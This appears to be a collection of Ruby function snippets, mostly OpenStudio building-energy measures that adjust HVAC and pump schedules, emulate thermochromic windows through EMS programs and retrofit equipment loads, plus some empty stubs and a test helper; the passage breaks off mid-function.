zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneHVACLowTempRadiantConstFlow.is_initialized\n zone_equip = equip.to_ZoneHVACLowTempRadiantConstFlow.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t \t\n elsif equip.to_ZoneHVACLowTempRadiantVarFlow.is_initialized\n zone_equip = equip.to_ZoneHVACLowTempRadiantVarFlow.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneHVACPackagedTerminalAirConditioner.is_initialized\n zone_equip = equip.to_ZoneHVACPackagedTerminalAirConditioner.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACPackagedTerminalHeatPump.is_initialized\n zone_equip = equip.to_ZoneHVACPackagedTerminalHeatPump.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\n elsif equip.to_ZoneHVACTerminalUnitVariableRefrigerantFlow.is_initialized\n next unless compare_eflh(runner, old_schedule, occ_sch) \n equip.to_ZoneHVACTerminalUnitVariableRefrigerantFlow.get.setTerminalUnitAvailabilityschedule(occ_sch)\n runner.registerInfo(\"The availability schedule for the Zone HVAC Terminal Unit Variable Refrigerant Flow Object has been replaced with a new schedule named #{occ_sch.name} representing the occupancy profile of the thermal zone named #{thermal_zone.name}.\")\t\t\t\t\t\n zone_hvac_count += 1 \n elsif equip.to_ZoneHVACUnitHeater.is_initialized\n zone_equip = equip.to_ZoneHVACUnitHeater.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\n elsif equip.to_ZoneHVACUnitVentilator.is_initialized\n zone_equip = equip.to_ZoneHVACUnitVentilator.get\n zone_hvac_count += 1 if set_equip_availability_schedule(runner, thermal_zone, occ_sch, zone_equip)\t\t\t\t\t\n elsif equip.to_ZoneVentilationDesignFlowRate.is_initialized\n runner.registerInfo(\"Thermal Zone named #{thermal_zone.name} has a Zone Ventilation Design Flow Rate object attacjhed as a ZoneHVACEquipment object. No modification were made to this object.\")\t\t\n end \t\n \n end # end loop through Zone HVAC Equipment\n \n else\n runner.registerInfo(\"Thermal Zone named #{thermal_zone.name} has no Zone HVAC Equipment objects attached - therefore no schedule objects have been altered.\")\t\n end # end of if statement\n \n end # end loop through thermal zones\n\n # Change pump control status if any airloops or\n # zone equipment were changed.\n if air_loop_count > 0 || zone_hvac_count > 0\n model.getPlantLoops.each do |plantLoop|\n #Loop through each plant loop demand component\n plantLoop.demandComponents.each do |dc|\n if dc.to_PumpConstantSpeed.is_initialized\n cs_pump = dc.to_PumpConstantSpeed.get\n if cs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Demand side Constant Speed Pump object named #{cs_pump.name} on the plant loop named #{dc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Pump Control Type attribute of Demand side Constant Speed Pump object named #{cs_pump.name} on the plant loop named #{dc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end\n end\n \n if dc.to_PumpVariableSpeed.is_initialized\n vs_pump = dc.to_PumpVariableSpeed.get\n if vs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Demand side Variable Speed Pump named #{vs_pump.name} on the plant loop named #{dc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Demand side Pump Control Type attribute of Variable Speed Pump named #{vs_pump.name} on the plant loop named #{dc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end\n end\n end\n \n #Loop through each plant loop supply component\n plantLoop.supplyComponents.each do |sc|\n if sc.to_PumpConstantSpeed.is_initialized\n cs_pump = sc.to_PumpConstantSpeed.get\n if cs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Supply side Constant Speed Pump object named #{cs_pump.name} on the plant loop named #{sc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Supply Side Pump Control Type atteribute of Constant Speed Pump named #{cs_pump.name} on the plant loop named #{sc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end #end if statement\t\n end #end if statement for changing supply component constant speed pump objects\n \n if sc.to_PumpVariableSpeed.is_initialized\n vs_pump = sc.to_PumpVariableSpeed.get\n if vs_pump.pumpControlType == (\"Intermittent\")\n runner.registerInfo(\"Supply side Variable Speed Pump object named #{vs_pump.name} on the plant loop named #{sc.name} had a pump control type attribute already set to intermittent. No changes will be made to this object.\")\n else \n cs_pump.setPumpControlType(\"Intermittent\")\n runner.registerInfo(\"Pump Control Type attribute of Supply Side Variable Speed Pump named #{vs_pump.name} on the plant loop named #{sc.name} was changed from continuous to intermittent.\")\n pump_count +=1\n end #end if statement\t\n end #end if statement for changing supply component variable speed pump objects\n \n end # end loop throught plant loop supply side components\n \n end # end loop through plant loops\n end\n \n #Write N/A message\n if air_loop_count == 0 && zone_hvac_count == 0 && pump_count == 0 \n runner.registerAsNotApplicable(\"The model did not contain any Airloops, Thermal Zones having ZoneHVACEquipment objects or associated plant loop pump objects to act upon. The measure is not applicable.\")\n return true\n end\t\n \n #report initial condition of model\n runner.registerInitialCondition(\"The model started with #{air_loop_count} AirLoops, #{zone_hvac_count} Zone HVAC Equipment Object and #{pump_count} pump objects subject to modifications.\")\n \n # report final condition of model\n runner.registerFinalCondition(\"The measure modified the availability schedules of #{air_loop_count} AirLoops and #{zone_hvac_count} Zone HVAC Equipment objects. #{pump_count} pump objects had control settings modified.\")\n \n # Add ASHRAE Standard 55 warnings\n reporting_frequency = \"Timestep\"\n outputVariable = OpenStudio::Model::OutputVariable.new(\"Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status []\",model)\n outputVariable.setReportingFrequency(reporting_frequency)\n runner.registerInfo(\"Adding output variable for 'Zone Thermal Comfort ASHRAE 55 Adaptive Model 90% Acceptability Status' reporting at the model timestep.\")\n \n return true\n\t\n end",
"def calc_next_run\n nil\n end",
"def calc_next_run\n nil\n end",
"def running_test_case; end",
"def estimate\n # (native code) \n end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def tick; end",
"def tick; end",
"def tick; end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n fixed_window_subsurface = runner.getOptionalWorkspaceObjectChoiceValue('fixed_window_subsurface', user_arguments, model) # model is passed in because of argument type\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments) \n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments) \n \n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n # declare arrys for scope\n array_of_21_sets = []\n material_property_glazing_spectral_data_vector = []\n standard_glazing_layer_array = []\n construction_array = []\n ems_window_construction_array = []\n \n # load idf into workspace\n workspace = OpenStudio::Workspace::load(OpenStudio::Path.new(\"#{File.dirname(__FILE__)}/resources/EMSThermochromicWindow.idf\")).get\n \n # get all MaterialPropertyGlazingSpectralData objects from within the idf\n # material_property_glazing_spectral_datas = source_idf.getObjectsByType(\"MaterialProperty:GlazingSpectralData\".to_IddObjectType)\n material_property_glazing_spectral_datas = workspace.getObjectsByType(\"MaterialProperty:GlazingSpectralData\".to_IddObjectType)\n if verbose_info_statements == true\n runner.registerInfo(\"The model has #{material_property_glazing_spectral_datas.size} material_property_glazing_spectral_datas objects.\")\n end\n \n material_property_glazing_spectral_datas.each do |material_property_glazing_spectral_data|\n \n spectral_data = {\"name\" => \"\",\"properties\" => []}\n spectral_data[\"name\"] = material_property_glazing_spectral_data.getString(0).to_s\n \n # Note: EnergyPlus file MaterialProperty:GlazingSpectralData objects have 1764 /4 = 441 sets of 4 values each \n n = material_property_glazing_spectral_data.numFields\n (1..n).each do |i| \n spectral_data[\"properties\"] << material_property_glazing_spectral_data.getString(i).to_s \n end\n array_of_21_sets << spectral_data\n end\n \n array_of_21_sets.each do |set|\n \n props = set[\"properties\"]\n material_property_glazing_spectral_data = OpenStudio::Model::MaterialPropertyGlazingSpectralData.new(model)\n material_property_glazing_spectral_data.setName(\"#{set[\"name\"]}\")\n \n k = (props.length / 4) - 1\n (0..k).each do |i| # note 440 uniques (a, b, c, d) pairs of attributes for each spectral data field object\n material_property_glazing_spectral_data.addSpectralDataField(props[(i*4)+0].to_f, props[(i*4)+1].to_f, props[(i*4)+2].to_f, props[(i*4)+3].to_f)\t\n end\n \n material_property_glazing_spectral_data_vector << material_property_glazing_spectral_data\n end \n \n # create (2) required new air gas materials to used by all EMS window constructions \n air_gas_3mm_material = OpenStudio::Model::Gas.new(model, \"Air\", 0.003) \n air_gas_3mm_material.setName(\"AIR 3MM\")\n \n air_gas_8mm_material = OpenStudio::Model::Gas.new(model, \"Air\", 0.008) \n air_gas_8mm_material.setName(\"AIR 8MM\")\n \n # loop through array of OS MaterialPropertyGlazingSpectralData objects and create 21 new Standard Glazing objects \n material_property_glazing_spectral_data_vector.each do |spec_data_obj|\n spec_data_obj_name = spec_data_obj.name\n layer_name = spec_data_obj_name.to_s.slice(\"sp\")\n if ((spec_data_obj_name == \"WO18RT25SP\") || (spec_data_obj_name == \"Clear3PPGSP\"))\n layer = OpenStudio::Model::StandardGlazing.new(model, 'Spectral', 0.0075)\n else\n layer = OpenStudio::Model::StandardGlazing.new(model, 'Spectral', 0.003276)\n end\n layer.setName(\"#{layer_name}\")\n layer.setWindowGlassSpectralDataSet(spec_data_obj)\n layer.setInfraredTransmittanceatNormalIncidence(0) # same for all 21 constructions\n layer.setFrontSideInfraredHemisphericalEmissivity(0.84) # same for all 21 constructions\n layer.setBackSideInfraredHemisphericalEmissivity(0.84) # same for all 21 constructions\n if ((spec_data_obj_name == \"WO18RT25SP\") || (spec_data_obj_name == \"Clear3PPGSP\"))\n layer.setConductivity(1.0) \n else\n layer.setConductivity(0.6) \n end\n layer.setDirtCorrectionFactorforSolarandVisibleTransmittance(1) # same for all 21 constructions\n layer.setSolarDiffusing(false)\n standard_glazing_layer_array << layer\n end\n\n # Create (2) unique standard glazing layers not used for Thermochromatic performance \n sb60_clear_3_ppg_layer = standard_glazing_layer_array[0]\n clear_3ppg_layer = standard_glazing_layer_array[1]\n remaining_standard_glazing_layer_array = standard_glazing_layer_array.drop(2)\n \n # create (19) new arrays of layered constructions representing thermochromatic layers\n remaining_standard_glazing_layer_array.each do |remaining_standard_glazing_layer|\n construction = [sb60_clear_3_ppg_layer, air_gas_3mm_material, remaining_standard_glazing_layer, air_gas_8mm_material, sb60_clear_3_ppg_layer]\n construction_array << construction\n end\n \n # create 19 new OS:Construction objects representing EMS thermochromatic windows\n name_index_array = [25, 27, 29, 31, 33, 35, 37, 39, 41, 43, 45, 50, 55, 60, 65, 70, 75, 80, 85]\n index = 0\n \n construction_array.each do |const|\n ems_window_construction = OpenStudio::Model::Construction.new(const)\n ems_window_construction.setName(\"TCwindow_#{name_index_array[index]}\")\n if verbose_info_statements == true\n runner.registerInfo(\"Created a new Construction named #{ems_window_construction.name} representing a thermochromatic window construction.\")\n end\n ems_window_construction_array << ems_window_construction\n index +=1\n end\n\n # check the user argument of the fixed window subsurface for reasonableness\n if fixed_window_subsurface.empty?\n handle = runner.getStringArgumentValue('fixed_window_subsurface', user_arguments)\n if handle.empty?\n runner.registerError('No fixed window subsurface was chosen.')\n else\n runner.registerError(\"The selected fixed window subsurface with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !fixed_window_subsurface.get.to_SubSurface.empty?\n fixed_window_subsurface = fixed_window_subsurface.get.to_SubSurface.get\n else\n runner.registerError('Script Error - argument not showing up as construction.')\n return false\n end\n end\n \n # Create a new EnergyManagementSystem:Sensor object representing the Surface Outside Face temp of the EMS thermochromatic window subsurface\n ems_win_Tout_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Surface Outside Face Temperature\")\n ems_win_Tout_sensor.setName(\"Win1_Tout\")\n ems_win_Tout_sensor.setKeyName(\"#{fixed_window_subsurface.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Sensor object named '#{ems_win_Tout_sensor.name}' representing the Surface Outside Face temp of the EMS thermochromatic window subsurface was added to the model.\") \n end\n \n # Create a new EMS Actuator Object representing the construction state of the EMS generated thermochromatic window \n ems_win_construct_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(fixed_window_subsurface, \"Surface\", \"Construction State\")\n ems_win_construct_actuator.setName(\"Win1_Construct\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator object named '#{ems_win_construct_actuator.name}' representing construction state of the EMS generated thermochromatic window was added to the model.\") \n end\n \n # Create 19 EnergyManagementSystem:ConstructionIndexVariable objects for each unique thermochromatic construction\n ems_window_construction_array.each do |ems_window_construction|\n ems_constr_index_var = OpenStudio::Model::EnergyManagementSystemConstructionIndexVariable.new(model, ems_window_construction ) \n ems_constr_index_var.setName(\"#{ems_window_construction.name}\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS SystemConstructionIndexVariable object named '#{ems_constr_index_var.name}' representing the the EMS construction state of the thermochromatic window was added to the model.\") \n end\n end\n \n # Create new EnergyManagementSystem:Program object for assigning different window constructions by dynamically evaluating the exterior surface temp of the fixed window subsurface \n ems_apply_thermochromatic_constructions_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_apply_thermochromatic_constructions_prgm.setName(\"#{fixed_window_subsurface.name}_Control\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"IF #{ems_win_Tout_sensor.name} <= 26.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_25\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 28.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_27\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 30.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_29\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 32.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_31\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 34.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_33\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 36.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_35\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 38.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_37\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 40.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_39\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 42.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_41\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 44.0\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_43\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 47.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_45\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 52.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_50\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 57.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_55\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 62.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_60\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 67.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_65\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 72.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_70\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 77.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_75\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSEIF #{ems_win_Tout_sensor.name} <= 82.5\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_80\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ELSE\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"SET #{ems_win_construct_actuator.name} = TCwindow_85\")\n ems_apply_thermochromatic_constructions_prgm.addLine(\"ENDIF\")\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Program Object named '#{ems_apply_thermochromatic_constructions_prgm.name}' for dynamically assigning different window constructions based on the exterior surface temp was added to the model.\") \n end\n \n # Create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS programs\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"My thermochromic window emulator\")\n ems_prgm_calling_mngr.setCallingPoint(\"BeginTimestepBeforePredictor\")\n ems_prgm_calling_mngr.addProgram(ems_apply_thermochromatic_constructions_prgm)\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call EMS program for dynamically applying a thermochromatic window.\") \n end\n \n # create unique object for OutputEnergyManagementSystems and configure to allow EMS reporting\n outputEMS = model.getOutputEnergyManagementSystem\n outputEMS.setInternalVariableAvailabilityDictionaryReporting(\"internal_variable_availability_dictionary_reporting\")\n outputEMS.setEMSRuntimeLanguageDebugOutputLevel(\"ems_runtime_language_debug_output_level\")\n outputEMS.setActuatorAvailabilityDictionaryReporting(\"actuator_availability_dictionary_reporting\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS OutputEnergyManagementSystem object configured per user arguments.\") \n end\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def bench(action, msg = nil)\n @t ||= Time.now\n @total ||= 0\n @step ||= 0\n case action\n when :start\n @step = 0\n @total = 0\n @t = Time.now\n when :step\n @step += 1\n int = Time.now - @t\n @total += int\n @t = Time.now\n dbg(\"Benchmark #{msg.nil? ? (\"%02d\" % @step) : msg}: #{\"%8.3fms\" % (int * 1000)} (Total: #{\"%8.3fms\" % (@total * 1000)}).\")\n end\nend",
"def apply_measure_and_run(test_name, measure, argument_map, osm_path, epw_path, run_model: false)\n assert(File.exist?(osm_path))\n assert(File.exist?(epw_path))\n\n # create run directory if it does not exist\n if !File.exist?(run_dir(test_name))\n FileUtils.mkdir_p(run_dir(test_name))\n end\n assert(File.exist?(run_dir(test_name)))\n\n # change into run directory for tests\n start_dir = Dir.pwd\n Dir.chdir run_dir(test_name)\n\n # remove prior runs if they exist\n if File.exist?(model_output_path(test_name))\n FileUtils.rm(model_output_path(test_name))\n end\n if File.exist?(report_path(test_name))\n FileUtils.rm(report_path(test_name))\n end\n\n # copy the osm and epw to the test directory\n new_osm_path = \"#{run_dir(test_name)}/#{File.basename(osm_path)}\"\n FileUtils.cp(osm_path, new_osm_path)\n new_epw_path = \"#{run_dir(test_name)}/#{File.basename(epw_path)}\"\n FileUtils.cp(epw_path, new_epw_path)\n # create an instance of a runner\n runner = OpenStudio::Measure::OSRunner.new(OpenStudio::WorkflowJSON.new)\n\n # load the test model\n model = load_model(new_osm_path)\n\n # set model weather file\n epw_file = OpenStudio::EpwFile.new(OpenStudio::Path.new(new_epw_path))\n OpenStudio::Model::WeatherFile.setWeatherFile(model, epw_file)\n assert(model.weatherFile.is_initialized)\n\n # run the measure\n puts \"\\nAPPLYING MEASURE...\"\n measure.run(model, runner, argument_map)\n result = runner.result\n\n # show the output\n show_output(result)\n\n # save model\n model.save(model_output_path(test_name), true)\n\n errs = []\n if run_model && (result.value.valueName == 'Success')\n puts \"\\nRUNNING ANNUAL SIMULATION...\"\n\n std = Standard.build('NREL ZNE Ready 2017')\n std.model_run_simulation_and_log_errors(model, run_dir(test_name))\n\n # check that the model ran successfully and generated a report\n assert(File.exist?(model_output_path(test_name)))\n assert(File.exist?(sql_path(test_name)))\n assert(File.exist?(report_path(test_name)))\n\n # set runner variables\n runner.setLastEpwFilePath(epw_path)\n runner.setLastOpenStudioModelPath(OpenStudio::Path.new(model_output_path(test_name)))\n runner.setLastEnergyPlusSqlFilePath(OpenStudio::Path.new(sql_path(test_name)))\n sql = runner.lastEnergyPlusSqlFile.get\n model.setSqlFile(sql)\n\n # test for unmet hours\n unmet_heating_hrs = std.model_annual_occupied_unmet_heating_hours(model)\n unmet_cooling_hrs = std.model_annual_occupied_unmet_cooling_hours(model)\n unmet_hrs = std.model_annual_occupied_unmet_hours(model)\n max_unmet_hrs = 550\n if unmet_hrs\n if unmet_hrs > 550\n errs << \"For #{test_name} there were #{unmet_heating_hrs.round(1)} unmet occupied heating hours and #{unmet_cooling_hrs.round(1)} unmet occupied cooling hours (total: #{unmet_hrs.round(1)}), more than the limit of #{max_unmet_hrs}.\" if unmet_hrs > max_unmet_hrs\n else\n puts \"There were #{unmet_heating_hrs.round(1)} unmet occupied heating hours and #{unmet_cooling_hrs.round(1)} unmet occupied cooling hours (total: #{unmet_hrs.round(1)}).\"\n end\n else\n errs << \"For #{test_name} could not determine unmet hours; simulation may have failed.\"\n end\n end\n\n # change back directory\n Dir.chdir(start_dir)\n\n assert(errs.empty?, errs.join(\"\\n\"))\n\n return result\n end",
"def after_assumption(name); end",
"def call\n result = while_measuring_memory_usage { action.call }\n\n Measurement.from_result(result)\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n retrofit_month = runner.getStringArgumentValue('retrofit_month', user_arguments).to_i\n retrofit_day = runner.getStringArgumentValue('retrofit_day', user_arguments).to_i\n\n # report initial condition of model\n runner.registerInitialCondition(\"Measure started successfully.\")\n\n # TODO: check the month and day for reasonableness\n runner.registerInfo(\"User entered retrofit month: #{retrofit_month}\")\n runner.registerInfo(\"User entered retrofit day: #{retrofit_day}\")\n\n prog_calling_manager = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n prog_calling_manager.setCallingPoint('BeginTimestepBeforePredictor')\n\n # Remove old and add new equip with EMS by spaces\n hash_space_epd = Hash.new\n v_spaces = model.getSpaces\n v_spaces.each do |space|\n current_space_equip = space.electricEquipment[0]\n unless current_space_equip.nil?\n\n # Get equipment power density for each space type\n new_space_epd = runner.getOptionalDoubleArgumentValue(\"new_#{space.name.to_s}_epd\", user_arguments)\n if new_space_epd.is_initialized\n hash_space_epd[\"new_#{space.name.to_s}_epd\"] = new_space_epd\n runner.registerInfo(\"User entered new electric equipment power density for #{space.name.to_s} is #{new_space_epd} W/m2\")\n # Set ems\n current_space_equip_def = current_space_equip.electricEquipmentDefinition\n equip_sch_name = current_space_equip.schedule.get.nameString\n equip_sch_ems_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Schedule Value')\n equip_sch_ems_sensor.setKeyName(equip_sch_name)\n runner.registerInfo(\"Delete old equip object for #{space.name}\")\n current_space_equip.remove\n\n new_equip = add_equip_space(space, current_space_equip_def)\n equip_level_w = new_space_epd.to_f * space.floorArea.to_f\n ems_equip_program = add_equip_ems(model, new_equip, equip_level_w, equip_sch_ems_sensor, retrofit_month, retrofit_day)\n prog_calling_manager.addProgram(ems_equip_program)\n runner.registerInfo(\"Add ems equipment control for #{space.name} succeeded.\")\n else\n # Get equipment power ratio for each space type\n new_space_ratio = runner.getDoubleArgumentValue(\"new_#{space.name.to_s}_ratio\", user_arguments)\n\n old_equip_sch = current_space_equip.schedule.get\n ems_equip_program = add_equip_ems_w_occ_var(model, current_space_equip, old_equip_sch, new_space_ratio, retrofit_month, retrofit_day)\n prog_calling_manager.addProgram(ems_equip_program)\n runner.registerInfo(\"Add ems equipment control for #{space.name} succeeded.\")\n # runner.registerInfo(\"Delete old equip object for #{space.name}\")\n # current_space_equip.remove\n end\n\n end\n end\n\n # Remove old and add new equip with EMS by space types\n hash_space_type_epd = Hash.new\n v_space_types = model.getSpaceTypes\n v_space_types.each do |space_type|\n current_spaces = space_type.spaces\n current_space_type_equip = space_type.electricEquipment[0]\n unless current_space_type_equip.nil?\n # Get equipment power density for each space type\n current_space_type_epd = runner.getStringArgumentValue(\"new_#{space_type.name.to_s}_epd\", user_arguments)\n hash_space_type_epd[\"new_#{space_type.name.to_s}_epd\"] = current_space_type_epd\n runner.registerInfo(\"User entered new electric equipment power density for #{space_type.name.to_s} is #{current_space_type_epd} W/m2\")\n\n # Set ems\n current_space_type_equip_def = current_space_type_equip.electricEquipmentDefinition\n current_space_type_sch_set = space_type.defaultScheduleSet.get\n current_space_type_equip_sch_set = current_space_type_sch_set.electricEquipmentSchedule.get\n\n equip_sch_name = current_space_type_equip_sch_set.nameString\n equip_sch_ems_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, 'Schedule Value')\n equip_sch_ems_sensor.setKeyName(equip_sch_name)\n\n puts \"Delete old equip object for #{space_type.name}\"\n current_space_type_equip.remove\n\n current_spaces.each do |space|\n # Calculate equipemtn electric power for each space\n new_equip = add_equip_space_type(model, space, space_type, current_space_type_equip_def)\n equip_level_w = current_space_type_epd.to_f * space.floorArea.to_f\n ems_equip_program = add_equip_ems(model, new_equip, equip_level_w, equip_sch_ems_sensor, retrofit_month, retrofit_day)\n prog_calling_manager.addProgram(ems_equip_program)\n runner.registerInfo(\"Add ems equipment control for #{space.name} succeeded.\")\n end\n end\n end\n\n # echo the model updates back to the user\n runner.registerInfo(\"The electric equipment retrofit measure is applied.\")\n\n # report final condition of model\n runner.registerFinalCondition(\"Measure ended successfully.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n runner.registerInfo(\"Start to create lighting measure from occupant schedule\")\n\n ### Get user selected lighting space assumptions for each space\n v_space_types = model.getSpaceTypes\n i = 1\n lght_space_type_arg_vals = {}\n # Loop through all space types, group spaces by their types\n v_space_types.each do |space_type|\n # Loop through all spaces of current space type\n v_current_spaces = space_type.spaces\n next if not v_current_spaces.size > 0\n v_current_spaces.each do |current_space|\n lght_space_type_val = runner.getStringArgumentValue(@@v_space_args[current_space.nameString], user_arguments)\n lght_space_type_arg_vals[current_space.nameString] = lght_space_type_val\n i += 1\n end\n end\n\n puts lght_space_type_arg_vals\n\n ### Start creating new lighting schedules based on occupancy schedule\n occ_schedule_dir = runner.getStringArgumentValue('occ_schedule_dir', user_arguments)\n model_temp_run_path = Dir.pwd + '/'\n measure_root_path = File.dirname(__FILE__)\n\n puts '=' * 80\n puts measure_root_path\n\n if File.file?(occ_schedule_dir)\n # Check if user provided a occupancy schedule CSV file\n csv_file = occ_schedule_dir\n puts 'Use user provided occupancy schedule file at: ' + csv_file.to_s\n runner.registerInitialCondition('Location check:' + File.expand_path(\"../..\", measure_root_path))\n # runner.registerInitialCondition('Use user 